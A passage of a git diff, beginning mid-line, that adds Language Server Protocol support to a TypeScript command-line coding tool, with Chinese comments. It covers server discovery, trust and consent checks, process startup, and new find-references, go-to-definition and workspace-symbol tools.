= options.requireTrustedWorkspace ?? true; + this.workspaceRoot = + options.workspaceRoot ?? (config as any).getProjectRoot(); + } + + /** + * 发现并准备 LSP 服务器 + */ + async discoverAndPrepare(): Promise { + const workspaceTrusted = this.config.isTrustedFolder(); + this.serverHandles.clear(); + + // 检查工作区是否受信任 + if (this.requireTrustedWorkspace && !workspaceTrusted) { + console.log('工作区不受信任，跳过 LSP 服务器发现'); + return; + } + + // 检测工作区中的语言 + const detectedLanguages = await this.detectLanguages(); + + // 合并配置：内置预设 + 用户 .lsp.json + 可选 cclsp 兼容转换 + const serverConfigs = await this.mergeConfigs(detectedLanguages); + + // 创建服务器句柄 + for (const config of serverConfigs) { + this.serverHandles.set(config.name, { + config, + status: 'NOT_STARTED', + }); + } + } + + /** + * 启动所有 LSP 服务器 + */ + async start(): Promise { + for (const [name, handle] of this.serverHandles) { + await this.startServer(name, handle); + } + } + + /** + * 停止所有 LSP 服务器 + */ + async stop(): Promise { + for (const [name, handle] of this.serverHandles) { + await this.stopServer(name, handle); + } + this.serverHandles.clear(); + } + + /** + * 获取 LSP 服务器状态 + */ + getStatus(): Map { + const statusMap = new Map(); + for (const [name, handle] of this.serverHandles) { + statusMap.set(name, handle.status); + } + return statusMap; + } + + /** + * Workspace symbol search across all ready LSP servers. + */ + async workspaceSymbols( + query: string, + limit = 50, + ): Promise { + const results: LspSymbolInformation[] = []; + + for (const [serverName, handle] of this.serverHandles) { + if (handle.status !== 'READY' || !handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + let response = await handle.connection.request('workspace/symbol', { + query, + }); + if ( + this.isTypescriptServer(handle) && + this.isNoProjectErrorResponse(response) + ) { + await this.warmupTypescriptServer(handle, true); + response = await handle.connection.request('workspace/symbol', { + query, + }); + } + if (!Array.isArray(response)) { + continue; + } + for (const item of response) { + const symbol = this.normalizeSymbolResult(item, serverName); + if (symbol) { + results.push(symbol); + } + if (results.length >= limit) { + return results.slice(0, limit); + } + } + } catch (error) { + console.warn(`LSP workspace/symbol failed for ${serverName}:`, error); + } + } + + return results.slice(0, limit); + } + + /** + * 跳转到定义 + */ + async definitions( + location: LspLocation, + serverName?: string, + limit = 50, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request( + 'textDocument/definition', + { + textDocument: { uri: location.uri }, + position: location.range.start, + }, + ); + const candidates = Array.isArray(response) + ? response + : response + ? [response] + : []; + const definitions: LspDefinition[] = []; + for (const def of candidates) { + const normalized = this.normalizeLocationResult(def, name); + if (normalized) { + definitions.push(normalized); + if (definitions.length >= limit) { + return definitions.slice(0, limit); + } + } + } + if (definitions.length > 0) { + return definitions.slice(0, limit); + } + } catch (error) { + console.warn(`LSP textDocument/definition failed for ${name}:`, error); + } + } + + return []; + } + + /** + * 查找引用 + */ + async references( + location: LspLocation, + serverName?: string, + includeDeclaration = false, + limit = 200, + ): Promise { + const handles = Array.from(this.serverHandles.entries()).filter( + ([name, handle]) => + handle.status === 'READY' && + handle.connection && + (!serverName || name === serverName), + ); + + for (const [name, handle] of handles) { + if (!handle.connection) { + continue; + } + try { + await this.warmupTypescriptServer(handle); + await this.warmupTypescriptServer(handle); + const response = await handle.connection.request( + 'textDocument/references', + { + textDocument: { uri: location.uri }, + position: location.range.start, + context: { includeDeclaration }, + }, + ); + if (!Array.isArray(response)) { + continue; + } + const refs: LspReference[] = []; + for (const ref of response) { + const normalized = this.normalizeLocationResult(ref, name); + if (normalized) { + refs.push(normalized); + } + if (refs.length >= limit) { + return refs.slice(0, limit); + } + } + if (refs.length > 0) { + return refs.slice(0, limit); + } + } catch (error) { + console.warn(`LSP textDocument/references failed for ${name}:`, error); + } + } + + return []; + } + + /** + * 检测工作区中的编程语言 + */ + private async detectLanguages(): Promise { + const patterns = ['**/*.{js,ts,jsx,tsx,py,go,rs,java,cpp,php,rb,cs}']; + const excludePatterns = [ + '**/node_modules/**', + '**/.git/**', + '**/dist/**', + '**/build/**', + ]; + + const files = new Set(); + const searchRoots = this.workspaceContext.getDirectories(); + + for (const root of searchRoots) { + for (const pattern of patterns) { + try { + const matches = globSync(pattern, { + cwd: root, + ignore: excludePatterns, + absolute: true, + nodir: true, + }); + + for (const match of matches) { + if (this.fileDiscoveryService.shouldIgnoreFile(match)) { + continue; + } + files.add(match); + } + } catch (_error) { + // Ignore glob errors for missing/invalid directories + } + } + } + + // 统计不同语言的文件数量 + const languageCounts = new Map(); + for (const file of files) { + const ext = path.extname(file).slice(1).toLowerCase(); + if (ext) { + const lang = this.mapExtensionToLanguage(ext); + if (lang) { + languageCounts.set(lang, (languageCounts.get(lang) || 0) + 1); + } + } + } + + // 也可以通过特定的配置文件来检测语言 + const rootMarkers = await this.detectRootMarkers(); + for (const marker of rootMarkers) { + const lang = this.mapMarkerToLanguage(marker); + if (lang) { + // 使用安全的数字操作避免 NaN + const currentCount = languageCounts.get(lang) || 0; + languageCounts.set(lang, currentCount + 100); // 给配置文件更高的权重 + } + } + + // 返回检测到的语言，按数量排序 + return Array.from(languageCounts.entries()) + .sort((a, b) => b[1] - a[1]) + .map(([lang]) => lang); + } + + /** + * 检测根目录标记文件 + */ + private async detectRootMarkers(): Promise { + const markers = new Set(); + const commonMarkers = [ + 'package.json', + 'tsconfig.json', + 'pyproject.toml', + 'go.mod', + 'Cargo.toml', + 'pom.xml', + 'build.gradle', + 'composer.json', + 'Gemfile', + 'mix.exs', + 'deno.json', + ]; + + for (const root of this.workspaceContext.getDirectories()) { + for (const marker of commonMarkers) { + try { + const fullPath = path.join(root, marker); + if (fs.existsSync(fullPath)) { + markers.add(marker); + } + } catch (_error) { + // ignore missing files + } + } + } + + return Array.from(markers); + } + + /** + * 将文件扩展名映射到编程语言 + */ + private mapExtensionToLanguage(ext: string): string | null { + const extToLang: { [key: string]: string } = { + js: 'javascript', + ts: 'typescript', + jsx: 'javascriptreact', + tsx: 'typescriptreact', + py: 'python', + go: 'go', + rs: 'rust', + java: 'java', + cpp: 'cpp', + c: 'c', + php: 'php', + rb: 'ruby', + cs: 'csharp', + vue: 'vue', + svelte: 'svelte', + html: 'html', + css: 'css', + json: 'json', + yaml: 'yaml', + yml: 'yaml', + }; + + return extToLang[ext] || null; + } + + /** + * 将根目录标记映射到编程语言 + */ + private mapMarkerToLanguage(marker: string): string | null { + const markerToLang: { [key: string]: string } = { + 'package.json': 'javascript', + 'tsconfig.json': 'typescript', + 'pyproject.toml': 'python', + 'go.mod': 'go', + 'Cargo.toml': 'rust', + 'pom.xml': 'java', + 'build.gradle': 'java', + 'composer.json': 'php', + Gemfile: 'ruby', + '*.sln': 'csharp', + 'mix.exs': 'elixir', + 'deno.json': 'deno', + }; + + return markerToLang[marker] || null; + } + + private normalizeLocationResult( + item: any, + serverName: string, + ): LspReference | null { + const uri = item?.uri ?? item?.targetUri ?? item?.target?.uri; + const range = + item?.range ?? + item?.targetSelectionRange ?? + item?.targetRange ?? + item?.target?.range; + + if (!uri || !range?.start || !range?.end) { + return null; + } + + return { + uri, + range: { + start: { + line: Number(range.start.line ?? 0), + character: Number(range.start.character ?? 0), + }, + end: { + line: Number(range.end.line ?? 0), + character: Number(range.end.character ?? 0), + }, + }, + serverName, + }; + } + + private normalizeSymbolResult( + item: any, + serverName: string, + ): LspSymbolInformation | null { + const location = item?.location ?? item?.target ?? item; + const range = + location?.range ?? location?.targetRange ?? item?.range ?? undefined; + + if (!location?.uri || !range?.start || !range?.end) { + return null; + } + + return { + name: item?.name ?? item?.label ?? 'symbol', + kind: item?.kind ? String(item.kind) : undefined, + containerName: item?.containerName ?? item?.container, + location: { + uri: location.uri, + range: { + start: { + line: Number(range.start.line ?? 0), + character: Number(range.start.character ?? 0), + }, + end: { + line: Number(range.end.line ?? 0), + character: Number(range.end.character ?? 0), + }, + }, + }, + serverName, + }; + } + + /** + * 合并配置：内置预设 + 用户配置 + 兼容层 + */ + private async mergeConfigs( + detectedLanguages: string[], + ): Promise { + // 内置预设配置 + const presets = this.getBuiltInPresets(detectedLanguages); + + // 用户 .lsp.json 配置（如果存在） + const userConfigs = await this.loadUserConfigs(); + + // 合并配置，用户配置优先级更高 + const mergedConfigs = [...presets]; + + for (const userConfig of userConfigs) { + // 查找是否有同名的预设配置，如果有则替换 + const existingIndex = mergedConfigs.findIndex( + (c) => c.name === userConfig.name, + ); + if (existingIndex !== -1) { + mergedConfigs[existingIndex] = userConfig; + } else { + mergedConfigs.push(userConfig); + } + } + + return mergedConfigs; + } + + /** + * 获取内置预设配置 + */ + private getBuiltInPresets(detectedLanguages: string[]): LspServerConfig[] { + const presets: LspServerConfig[] = []; + + // 将目录路径转换为文件 URI 格式 + const rootUri = pathToFileURL(this.workspaceRoot).toString(); + + // 根据检测到的语言生成对应的 LSP 服务器配置 + if ( + detectedLanguages.includes('typescript') || + detectedLanguages.includes('javascript') + ) { + presets.push({ + name: 'typescript-language-server', + languages: [ + 'typescript', + 'javascript', + 'typescriptreact', + 'javascriptreact', + ], + command: 'typescript-language-server', + args: ['--stdio'], + transport: 'stdio', + initializationOptions: {}, + rootUri: rootUri, + trustRequired: true, + }); + } + + if (detectedLanguages.includes('python')) { + presets.push({ + name: 'pylsp', + languages: ['python'], + command: 'pylsp', + args: [], + transport: 'stdio', + initializationOptions: {}, + rootUri: rootUri, + trustRequired: true, + }); + } + + if (detectedLanguages.includes('go')) { + presets.push({ + name: 'gopls', + languages: ['go'], + command: 'gopls', + args: [], + transport: 'stdio', + initializationOptions: {}, + rootUri: rootUri, + trustRequired: true, + }); + } + + // 可以根据需要添加更多语言的预设配置 + + return presets; + } + + /** + * 加载用户 .lsp.json 配置 + */ + private async loadUserConfigs(): Promise { + const configs: LspServerConfig[] = []; + + try { + const lspConfigPath = path.join(this.workspaceRoot, '.lsp.json'); + if (fs.existsSync(lspConfigPath)) { + const configContent = fs.readFileSync(lspConfigPath, 'utf-8'); + const userConfig = JSON.parse(configContent); + + // 验证并转换用户配置为内部格式 + if (userConfig && typeof userConfig === 'object') { + for (const [langId, serverSpec] of Object.entries(userConfig) as [ + string, + any, + ]) { + // 转换为文件 URI 格式 + const rootUri = pathToFileURL(this.workspaceRoot).toString(); + + // 验证 command 不为 undefined + if (!serverSpec.command) { + console.warn(`LSP 配置错误: ${langId} 缺少 command 属性`); + continue; + } + + const serverConfig: LspServerConfig = { + name: serverSpec.command, + languages: [langId], + command: serverSpec.command, + args: serverSpec.args || [], + transport: serverSpec.transport || 'stdio', + initializationOptions: serverSpec.initializationOptions, + rootUri: rootUri, + trustRequired: serverSpec.trustRequired ?? true, + }; + + configs.push(serverConfig); + } + } + } + } catch (e) { + console.warn('加载用户 .lsp.json 配置失败:', e); + } + + return configs; + } + + /** + * 启动单个 LSP 服务器 + */ + private async startServer( + name: string, + handle: LspServerHandle, + ): Promise { + if (this.excludedServers?.includes(name)) { + console.log(`LSP 服务器 ${name} 在排除列表中，跳过启动`); + handle.status = 'FAILED'; + return; + } + + if (this.allowedServers && !this.allowedServers.includes(name)) { + console.log(`LSP 服务器 ${name} 不在允许列表中，跳过启动`); + handle.status = 'FAILED'; + return; + } + + const workspaceTrusted = this.config.isTrustedFolder(); + if ( + (this.requireTrustedWorkspace || handle.config.trustRequired) && + !workspaceTrusted + ) { + console.log(`LSP 服务器 ${name} 需要受信任的工作区，跳过启动`); + handle.status = 'FAILED'; + return; + } + + // 请求用户确认 + const consent = await this.requestUserConsent( + name, + handle.config, + workspaceTrusted, + ); + if (!consent) { + console.log(`用户拒绝启动 LSP 服务器 ${name}`); + handle.status = 'FAILED'; + return; + } + + // 检查命令是否存在 + if (!(await this.commandExists(handle.config.command))) { + console.warn(`LSP 服务器 ${name} 的命令不存在: ${handle.config.command}`); + handle.status = 'FAILED'; + return; + } + + // 检查路径安全性 + if (!this.isPathSafe(handle.config.command, (this.config as any).cwd)) { + console.warn( + `LSP 服务器 ${name} 的命令路径不安全: ${handle.config.command}`, + ); + handle.status = 'FAILED'; + return; + } + + try { + handle.status = 'IN_PROGRESS'; + + // 创建 LSP 连接 + const connection = await this.createLspConnection(handle.config); + handle.connection = connection.connection; + handle.process = connection.process; + + // 初始化 LSP 服务器 + await this.initializeLspServer(connection, handle.config); + + handle.status = 'READY'; + console.log(`LSP 服务器 ${name} 启动成功`); + } catch (error) { + handle.status = 'FAILED'; + handle.error = error as Error; + console.error(`LSP 服务器 ${name} 启动失败:`, error); + } + } + + /** + * 停止单个 LSP 服务器 + */ + private async stopServer( + name: string, + handle: LspServerHandle, + ): Promise { + if (handle.connection) { + try { + await handle.connection.shutdown(); + handle.connection.end(); + } catch (error) { + console.error(`关闭 LSP 服务器 ${name} 时出错:`, error); + } + } else if (handle.process && !handle.process.killed) { + handle.process.kill(); + } + handle.connection = undefined; + handle.process = undefined; + handle.status = 'NOT_STARTED'; + } + + /** + * 创建 LSP 连接 + */ + private async createLspConnection(config: LspServerConfig): Promise<{ + connection: LspConnectionInterface; + process: ChildProcess; + shutdown: () => Promise; + exit: () => void; + initialize: (params: any) => Promise; + }> { + if (config.transport === 'stdio') { + // 修复：使用 cwd 作为 cwd 而不是 rootUri + const lspConnection = await LspConnectionFactory.createStdioConnection( + config.command, + config.args, + { cwd: this.workspaceRoot }, + ); + + return { + connection: lspConnection.connection as LspConnectionInterface, + process: lspConnection.process as ChildProcess, + shutdown: async () => { + await lspConnection.connection.shutdown(); + }, + exit: () => { + if (lspConnection.process && !lspConnection.process.killed) { + (lspConnection.process as ChildProcess).kill(); + } + lspConnection.connection.end(); + }, + initialize: async (params: any) => { + return lspConnection.connection.initialize(params); + }, + }; + } else if (config.transport === 'tcp') { + // 如果需要 TCP 支持，可以扩展此部分 + throw new Error('TCP transport not yet implemented'); + } else { + throw new Error(`Unsupported transport: ${config.transport}`); + } + } + + /** + * 初始化 LSP 服务器 + */ + private async initializeLspServer( + connection: Awaited>, + config: LspServerConfig, + ): Promise { + const workspaceFolder = { + name: path.basename(this.workspaceRoot) || this.workspaceRoot, + uri: config.rootUri, + }; + + const initializeParams = { + processId: process.pid, + rootUri: config.rootUri, + rootPath: this.workspaceRoot, + workspaceFolders: [workspaceFolder], + capabilities: { + textDocument: { + completion: { dynamicRegistration: true }, + hover: { dynamicRegistration: true }, + definition: { dynamicRegistration: true }, + references: { dynamicRegistration: true }, + documentSymbol: { dynamicRegistration: true }, + codeAction: { dynamicRegistration: true }, + }, + workspace: { + workspaceFolders: { supported: true }, + }, + }, + initializationOptions: config.initializationOptions, + }; + + await connection.initialize(initializeParams); + + // Send initialized notification and workspace folders change to help servers (e.g. tsserver) + // create projects in the correct workspace. + connection.connection.send({ + jsonrpc: '2.0', + method: 'initialized', + params: {}, + }); + connection.connection.send({ + jsonrpc: '2.0', + method: 'workspace/didChangeWorkspaceFolders', + params: { + event: { + added: [workspaceFolder], + removed: [], + }, + }, + }); + + // Warm up TypeScript server by opening a workspace file so it can create a project. + if (config.name.includes('typescript')) { + try { + const tsFile = this.findFirstTypescriptFile(); + if (tsFile) { + const uri = pathToFileURL(tsFile).toString(); + const languageId = tsFile.endsWith('.tsx') ? 'typescriptreact' : 'typescript'; + const text = fs.readFileSync(tsFile, 'utf-8'); + connection.connection.send({ + jsonrpc: '2.0', + method: 'textDocument/didOpen', + params: { + textDocument: { + uri, + languageId, + version: 1, + text, + }, + }, + }); + } + } catch (error) { + console.warn('TypeScript LSP warm-up failed:', error); + } + } + } + + /** + * 检查命令是否存在 + */ + private async commandExists(command: string): Promise { + // 实现命令存在性检查 + return new Promise((resolve) => { + let settled = false; + const child = spawn(command, ['--version'], { + stdio: ['ignore', 'ignore', 'ignore'], + cwd: this.workspaceRoot, + }); + + child.on('error', () => { + settled = true; + resolve(false); + }); + + child.on('exit', (code) => { + if (settled) { + return; + } + // 如果命令存在，通常会返回 0 或其他非错误码 + // 有些命令的 --version 选项可能返回非 0，但不会抛出错误 + resolve(code !== 127); // 127 通常表示命令不存在 + }); + + // 设置超时，避免长时间等待 + setTimeout(() => { + settled = true; + child.kill(); + resolve(false); + }, 2000); + }); + } + + /** + * 检查路径安全性 + */ + private isPathSafe(command: string, workspacePath: string): boolean { + // 检查命令是否在工作区路径内，或者是否在系统 PATH 中 + // 允许全局安装的命令（如在 PATH 中的命令） + // 只阻止显式指定工作区外绝对路径的情况 + if (path.isAbsolute(command)) { + // 如果是绝对路径，检查是否在工作区路径内 + const resolvedPath = path.resolve(command); + const resolvedWorkspacePath = path.resolve(workspacePath); + return ( + resolvedPath.startsWith(resolvedWorkspacePath + path.sep) || + resolvedPath === resolvedWorkspacePath + ); + } + // 相对路径和命令名（在 PATH 中查找）认为是安全的 + // 但需要确保相对路径不指向工作区外 + const resolvedPath = path.resolve(workspacePath, command); + const resolvedWorkspacePath = path.resolve(workspacePath); + return ( + resolvedPath.startsWith(resolvedWorkspacePath + path.sep) || + resolvedPath === resolvedWorkspacePath + ); + } + + /** + * 请求用户确认启动 LSP 服务器 + */ + private async requestUserConsent( + serverName: string, + serverConfig: LspServerConfig, + workspaceTrusted: boolean, + ): Promise { + if (workspaceTrusted) { + return true; // 在受信任工作区中自动允许 + } + + if (this.requireTrustedWorkspace || serverConfig.trustRequired) { + console.log( + `工作区未受信任，跳过 LSP 服务器 ${serverName} (${serverConfig.command})`, + ); + return false; + } + + console.log( + `未受信任的工作区，LSP 服务器 ${serverName} 标记为 trustRequired=false，将谨慎尝试启动`, + ); + return true; + } + + /** + * Find a representative TypeScript/JavaScript file to warm up tsserver. + */ + private findFirstTypescriptFile(): string | undefined { + const patterns = ['**/*.ts', '**/*.tsx', '**/*.js', '**/*.jsx']; + const excludePatterns = [ + '**/node_modules/**', + '**/.git/**', + '**/dist/**', + '**/build/**', + ]; + + for (const root of this.workspaceContext.getDirectories()) { + for (const pattern of patterns) { + try { + const matches = globSync(pattern, { + cwd: root, + ignore: excludePatterns, + absolute: true, + nodir: true, + }); + for (const file of matches) { + if (this.fileDiscoveryService.shouldIgnoreFile(file)) { + continue; + } + return file; + } + } catch (_error) { + // ignore glob errors + } + } + } + + return undefined; + } + + private isTypescriptServer(handle: LspServerHandle): boolean { + return handle.config.name.includes('typescript'); + } + + private isNoProjectErrorResponse(response: any): boolean { + if (!response) { + return false; + } + const message = + typeof response === 'string' + ? response + : typeof response?.message === 'string' + ? response.message + : ''; + return message.includes('No Project'); + } + + /** + * Ensure tsserver has at least one file open so navto/navtree requests succeed. + */ + private async warmupTypescriptServer( + handle: LspServerHandle, + force = false, + ): Promise { + if (!handle.connection || !this.isTypescriptServer(handle)) { + return; + } + if (handle.warmedUp && !force) { + return; + } + const tsFile = this.findFirstTypescriptFile(); + if (!tsFile) { + return; + } + handle.warmedUp = true; + const uri = pathToFileURL(tsFile).toString(); + const languageId = tsFile.endsWith('.tsx') + ? 'typescriptreact' + : tsFile.endsWith('.jsx') + ? 'javascriptreact' + : tsFile.endsWith('.js') + ? 'javascript' + : 'typescript'; + try { + const text = fs.readFileSync(tsFile, 'utf-8'); + handle.connection.send({ + jsonrpc: '2.0', + method: 'textDocument/didOpen', + params: { + textDocument: { + uri, + languageId, + version: 1, + text, + }, + }, + }); + // Give tsserver a moment to build the project. + await new Promise((resolve) => setTimeout(resolve, 150)); + } catch (error) { + console.warn('TypeScript server warm-up failed:', error); + } + } +} diff --git a/packages/core/src/config/config.ts b/packages/core/src/config/config.ts index 34dbb4649..33231de94 100644 --- a/packages/core/src/config/config.ts +++ b/packages/core/src/config/config.ts @@ -61,6 +61,10 @@ import { ToolRegistry } from '../tools/tool-registry.js'; import { WebFetchTool } from '../tools/web-fetch.js'; import { WebSearchTool } from '../tools/web-search/index.js'; import { WriteFileTool } from '../tools/write-file.js'; +import { LspWorkspaceSymbolTool } from '../tools/lsp-workspace-symbol.js'; +import { LspGoToDefinitionTool } from '../tools/lsp-go-to-definition.js'; +import { LspFindReferencesTool } from '../tools/lsp-find-references.js'; +import type { LspClient } from '../lsp/types.js'; // Other modules import { ideContextStore } from '../ide/ideContext.js'; @@ -281,6 +285,12 @@ export interface ConfigParameters { toolCallCommand?: string; mcpServerCommand?: string; mcpServers?: Record; + lsp?: { + enabled?: boolean; + allowed?: string[]; + excluded?: string[]; + }; + lspClient?: LspClient; userMemory?: string; geminiMdFileCount?: number; approvalMode?: ApprovalMode; @@ -413,6 +423,10 @@ export class Config { private readonly toolCallCommand: string | undefined; private readonly mcpServerCommand: string | undefined; private mcpServers: Record | undefined; + private readonly lspEnabled: boolean; + private readonly lspAllowed?: string[]; + private readonly lspExcluded?: string[]; + private lspClient?: LspClient; private sessionSubagents: SubagentConfig[]; private userMemory: string; private sdkMode: boolean; @@ -521,6 +535,10 @@ export class Config { this.toolCallCommand = params.toolCallCommand; this.mcpServerCommand = params.mcpServerCommand; this.mcpServers = params.mcpServers; + this.lspEnabled = params.lsp?.enabled ?? false; + this.lspAllowed = params.lsp?.allowed?.filter(Boolean); + this.lspExcluded = params.lsp?.excluded?.filter(Boolean); + this.lspClient = params.lspClient; this.sessionSubagents = params.sessionSubagents ?? []; this.sdkMode = params.sdkMode ?? false; this.userMemory = params.userMemory ?? ''; @@ -896,6 +914,32 @@ export class Config { this.mcpServers = { ...this.mcpServers, ...servers }; } + isLspEnabled(): boolean { + return this.lspEnabled; + } + + getLspAllowed(): string[] | undefined { + return this.lspAllowed; + } + + getLspExcluded(): string[] | undefined { + return this.lspExcluded; + } + + getLspClient(): LspClient | undefined { + return this.lspClient; + } + + /** + * Allows wiring an LSP client after Config construction but before initialize(). + */ + setLspClient(client: LspClient | undefined): void { + if (this.initialized) { + throw new Error('Cannot set LSP client after initialization'); + } + this.lspClient = client; + } + getSessionSubagents(): SubagentConfig[] { return this.sessionSubagents; } @@ -1403,6 +1447,11 @@ export class Config { if (this.getWebSearchConfig()) { registerCoreTool(WebSearchTool, this); } + if (this.isLspEnabled() && this.getLspClient()) { + registerCoreTool(LspGoToDefinitionTool, this); + registerCoreTool(LspFindReferencesTool, this); + registerCoreTool(LspWorkspaceSymbolTool, this); + } await registry.discoverAllTools(); console.debug('ToolRegistry created', registry.getAllToolNames()); diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 56680403b..2ec73e236 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -85,6 +85,7 @@ export * from './skills/index.js'; // Export prompt logic export * from './prompts/mcp-prompts.js'; +export * from './lsp/types.js'; // Export specific tool logic export * from './tools/read-file.js'; @@ -99,6 +100,8 @@ export * from './tools/memoryTool.js'; export * from './tools/shell.js'; export * from './tools/web-search/index.js'; export * from './tools/read-many-files.js'; +export * from './tools/lsp-go-to-definition.js'; +export * from './tools/lsp-find-references.js'; export * from './tools/mcp-client.js'; export * from './tools/mcp-client-manager.js'; export * from './tools/mcp-tool.js'; diff --git a/packages/core/src/lsp/types.ts b/packages/core/src/lsp/types.ts new file mode 100644 index 000000000..2a412d660 --- /dev/null +++ b/packages/core/src/lsp/types.ts @@ -0,0 +1,54 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +export interface LspPosition { + line: number; + character: number; +} + +export interface LspRange { + start: LspPosition; + end: LspPosition; +} + +export interface LspLocation { + uri: string; + range: LspRange; +} + +export interface LspLocationWithServer extends LspLocation { + serverName?: string; +} + +export interface LspSymbolInformation { + name: string; + kind?: string; + location: LspLocation; + containerName?: string; + serverName?: string; +} + +export interface LspReference extends LspLocationWithServer {} + +export interface LspDefinition extends LspLocationWithServer {} + +export interface LspClient { + workspaceSymbols( + query: string, + limit?: number, + ): Promise; + definitions( + location: LspLocation, + serverName?: string, + limit?: number, + ): Promise; + references( + location: LspLocation, + serverName?: string, + includeDeclaration?: boolean, + limit?: number, + ): Promise; +} diff --git a/packages/core/src/tools/lsp-find-references.ts b/packages/core/src/tools/lsp-find-references.ts new file mode 100644 index 000000000..078586e49 --- /dev/null +++ b/packages/core/src/tools/lsp-find-references.ts @@ -0,0 +1,309 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import path from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; +import type { ToolInvocation, ToolResult } from './tools.js'; +import { BaseDeclarativeTool, BaseToolInvocation, Kind } from './tools.js'; +import { ToolDisplayNames, ToolNames } from './tool-names.js'; +import type { Config } from '../config/config.js'; +import type { + LspClient, + LspLocation, + LspReference, +} from '../lsp/types.js'; + +export interface LspFindReferencesParams { + /** + * Symbol name to resolve if a file/position is not provided. + */ + symbol?: string; + /** + * File path (absolute or workspace-relative). + * Use together with `line` (1-based) and optional `character` (1-based). + */ + file?: string; + /** + * File URI (e.g., file:///path/to/file). + * Use together with `line` (1-based) and optional `character` (1-based). + */ + uri?: string; + /** + * 1-based line number when targeting a specific file location. + */ + line?: number; + /** + * 1-based character/column number when targeting a specific file location. + */ + character?: number; + /** + * Whether to include the declaration in results (default: false). + */ + includeDeclaration?: boolean; + /** + * Optional server name override. + */ + serverName?: string; + /** + * Optional maximum number of results. + */ + limit?: number; +} + +type ResolvedTarget = + | { + location: LspLocation; + description: string; + serverName?: string; + fromSymbol: boolean; + } + | { error: string }; + +class LspFindReferencesInvocation extends BaseToolInvocation< + LspFindReferencesParams, + ToolResult +> { + constructor( + private readonly config: Config, + params: LspFindReferencesParams, + ) { + super(params); + } + + getDescription(): string { + if (this.params.symbol) { + return `LSP find-references（查引用） for symbol "${this.params.symbol}"`; + } + if (this.params.file && this.params.line !== undefined) { + return `LSP find-references（查引用） at ${this.params.file}:${this.params.line}:${this.params.character ?? 1}`; + } + if (this.params.uri && this.params.line !== undefined) { + return `LSP find-references（查引用） at ${this.params.uri}:${this.params.line}:${this.params.character ?? 1}`; + } + return 'LSP find-references（查引用）'; + } + + async execute(_signal: AbortSignal): Promise { + const client = this.config.getLspClient(); + if (!client || !this.config.isLspEnabled()) { + const message = + 'LSP find-references is unavailable (LSP disabled or not initialized).'; + return { llmContent: message, returnDisplay: message }; + } + + const target = await this.resolveTarget(client); + if ('error' in target) { + return { llmContent: target.error, returnDisplay: target.error }; + } + + const limit = this.params.limit ?? 50; + let references: LspReference[] = []; + try { + references = await client.references( + target.location, + target.serverName, + this.params.includeDeclaration ?? false, + limit, + ); + } catch (error) { + const message = `LSP find-references failed: ${ + (error as Error)?.message || String(error) + }`; + return { llmContent: message, returnDisplay: message }; + } + + if (!references.length) { + const message = `No references found for ${target.description}.`; + return { llmContent: message, returnDisplay: message }; + } + + const workspaceRoot = this.config.getProjectRoot(); + const lines = references.slice(0, limit).map((reference, index) => { + return `${index + 1}. ${this.formatLocation(reference, workspaceRoot)}`; + }); + + const heading = `References for ${target.description}:`; + return { + llmContent: [heading, ...lines].join('\n'), + returnDisplay: lines.join('\n'), + }; + } + + private async resolveTarget( + client: Pick, + ): Promise { + const workspaceRoot = this.config.getProjectRoot(); + const lineProvided = typeof this.params.line === 'number'; + const character = this.params.character ?? 1; + + if ((this.params.file || this.params.uri) && lineProvided) { + const uri = this.resolveUri(workspaceRoot); + if (!uri) { + return { + error: + 'A valid file path or URI is required when specifying a line/character.', + }; + } + const position = { + line: Math.max(0, Math.floor((this.params.line ?? 1) - 1)), + character: Math.max(0, Math.floor(character - 1)), + }; + const location: LspLocation = { + uri, + range: { start: position, end: position }, + }; + const description = this.formatLocation( + { ...location, serverName: this.params.serverName }, + workspaceRoot, + ); + return { + location, + description, + serverName: this.params.serverName, + fromSymbol: false, + }; + } + + if (this.params.symbol) { + try { + const symbols = await client.workspaceSymbols(this.params.symbol, 5); + if (!symbols.length) { + return { + error: `No symbols found for query "${this.params.symbol}".`, + }; + } + const top = symbols[0]; + return { + location: top.location, + description: `symbol "${this.params.symbol}"`, + serverName: this.params.serverName ?? top.serverName, + fromSymbol: true, + }; + } catch (error) { + return { + error: `Workspace symbol search failed: ${ + (error as Error)?.message || String(error) + }`, + }; + } + } + + return { + error: + 'Provide a symbol name or a file plus line (and optional character) to use find-references.', + }; + } + + private resolveUri(workspaceRoot: string): string | null { + if (this.params.uri) { + if ( + this.params.uri.startsWith('file://') || + this.params.uri.includes('://') + ) { + return this.params.uri; + } + const absoluteUriPath = path.isAbsolute(this.params.uri) + ? this.params.uri + : path.resolve(workspaceRoot, this.params.uri); + return pathToFileURL(absoluteUriPath).toString(); + } + + if (this.params.file) { + const absolutePath = path.isAbsolute(this.params.file) + ? this.params.file + : path.resolve(workspaceRoot, this.params.file); + return pathToFileURL(absolutePath).toString(); + } + + return null; + } + + private formatLocation( + location: LspReference | (LspLocation & { serverName?: string }), + workspaceRoot: string, + ): string { + const start = location.range.start; + let filePath = location.uri; + + if (filePath.startsWith('file://')) { + filePath = fileURLToPath(filePath); + filePath = path.relative(workspaceRoot, filePath) || '.'; + } + + const serverSuffix = + location.serverName && location.serverName !== '' + ? ` [${location.serverName}]` + : ''; + + return `${filePath}:${(start.line ?? 0) + 1}:${(start.character ?? 0) + 1}${serverSuffix}`; + } +} + +export class LspFindReferencesTool extends BaseDeclarativeTool< + LspFindReferencesParams, + ToolResult +> { + static readonly Name = ToolNames.LSP_FIND_REFERENCES; + + constructor(private readonly config: Config) { + super( + LspFindReferencesTool.Name, + ToolDisplayNames.LSP_FIND_REFERENCES, + 'Use LSP find-references for a symbol or a specific file location（查引用，优先于 grep 搜索）。', + Kind.Other, + { + type: 'object', + properties: { + symbol: { + type: 'string', + description: + 'Symbol name to resolve when a file/position is not provided.', + }, + file: { + type: 'string', + description: + 'File path (absolute or workspace-relative). Requires `line`.', + }, + uri: { + type: 'string', + description: + 'File URI 